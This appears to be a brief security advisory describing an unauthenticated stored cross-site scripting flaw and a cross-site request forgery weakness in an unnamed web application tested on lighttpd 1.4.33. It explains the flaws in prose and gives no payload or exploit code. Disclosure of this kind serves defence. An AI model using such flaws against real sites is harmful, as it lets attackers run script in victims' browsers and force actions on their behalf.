Desc: The application suffers from an unauthenticated stored XSS through POST request.
The issue is triggered when input passed via several parameters is not properly
sanitized before being returned to the user. This can be exploited to execute arbitrary
HTML and script code in a user's browser session in context of an affected site. The
application interface also allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited
to perform certain actions if a user visits a malicious web site.
Tested on: lighttpd/1.4.33
